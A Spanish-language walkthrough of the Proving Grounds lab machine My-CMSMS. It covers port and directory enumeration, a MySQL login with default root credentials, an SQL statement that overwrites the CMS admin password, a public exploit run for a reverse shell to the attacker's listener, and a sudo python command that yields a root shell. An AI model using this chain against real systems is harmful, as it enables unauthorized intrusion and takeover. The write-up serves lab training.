🟠My-CMSMS

Write-up de la máquina My-CMSMS de Proving Grounds #writeup #walkthrough

Enumeración

Servicios abiertos

Comenzamos enumerando los servicios abiertos en la máquina objetivo.

nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.196.74

4 puertos abiertos. El siguiente paso será el escaneo profundo de estos servicios.

nmap -p22,80,3306,33060 -Pn -n -sVC -vvv 192.168.196.74

Servicios abiertos:

  • Puerto 22 -> SSH -> OpenSSH 7.9

  • Puerto 80 -> HTTP -> Apache httpd 2.4.38

  • Puerto 3306 -> MySQL -> MySQL 8.0.19

  • Puerto 33060 -> MySQL ?

Enumeración Web

La máquina objetivo está ejecutando un servicio Web en el puerto 80. Vamos a ver su contenido y a enumerar archivos y directorios que esten presentes y que puedan ser interesantes.

Para la enumeración de directorios vamos a utilizar FeroxBuster.

feroxbuster -u http://192.168.196.74/ -s200,301 -x html,txt,php -n

El resultado más interesante es un formulario de inicio de sesión para el cual no tenemos credenciales.

MySQL

Vamos a tratar de acceso a la base de datos que se está ejecutando en el puerto 3306. Vamos a determinar credenciales utilizando credenciales básicas y por defecto. Tras varias pruebas determinamos que las credenciales de MySQL son root:root

mysql -h 192.168.196.74 -uroot -p

Comenzamos enumerando las bases de datos:

show databases;

La base de datos cmsms_db parece interesante. Vamos a enumerarla.

use cmsms_db
show tables;

Seleccionamos la tabla relacionada con usuarios.

select * from cms_users;

Esto revela un hash de contraseña MD5 para la cuenta de administrador. Sin embargo, no pudimos descifrarlo utilizando varias listas de palabras. Dado que somos la cuenta root en MySQL, podemos optar por cambiar la contraseña a algo que conozcamos y utilizar esto para iniciar sesión en CMSMS.

Después de investigar un poco, encontramos una manera de cambiar esa contraseña de administrador.

UPDATE cms_users SET password = (SELECT MD5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'securiters'))) where username = 'admin';

Una vez cambiada la contraseña por una que conocemos, vamos a tratar de iniciar sesión utilizando el formulario de login que encontramos en la enumeración.

Con estas credenciales podemos iniciar sesión de el Panel de Administración del cms.

Navegando por el Panel de Administración encontramos la versión de CMS ejecutada.

Explotación

Con la información recabada, vamos a tratar de vulnerar la máquina objetivo. Vamos a buscar si existe algún exploit disponible para la versión de CMS ejecutada. Navegando por Google encontramos este exploit.

Vamos a descargarlo y ejecutarlo. Al mismo tiempo, ponemos a la escucha un oyente nc en el puerto 80.

python3 48779.py --url http://192.168.196.74/admin/login.php -u admin -p securiters -lhost 192.168.45.5 -lport 80

Tenemos acceso a la máquina víctima. El siguiente paso será buscar la flag local.txt

Elevación de privilegios

Encontramos la flag en el directorio /var/www. Seguimos enumerando dentro de ese directorio donde encontramos un directorio /html. Dentro de ese directorio encontramos un directorio con un nombre sospechoso llamado /admin. Veamos su contenido.

Hay un archivo .htpasswd. Veamos su contenido.

Vemos un texto cifrado, posiblemente en Base64. Vamos a tratar de descifrarlo.

echo TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0= | base64 -d

Pero devuelve otro texto cifrado, posiblemente Base32. Vamos a descifrarlo.

echo "MFZG233VOI5FG2DJMVWGIQBRGIZQ====" | base32 -d

De resultado tenemos unas credenciales: armour:Shield@123

armour es un usuario del sistema. Vamos a tratar de iniciar sesión con este usuario.

Vamos a comprobar que puede ejecutar este usuario como sudo sin cntraseña. Para ello, ejecutamos sudo -l

Podemos ejecutar el siguiente comando que nos devuelva una Shell, posiblemente como usuario root.

sudo /usr/bin/python -c 'import pty;pty.spawn("/bin/bash")'

Solo quedará buscar la flag proof.txt

Last updated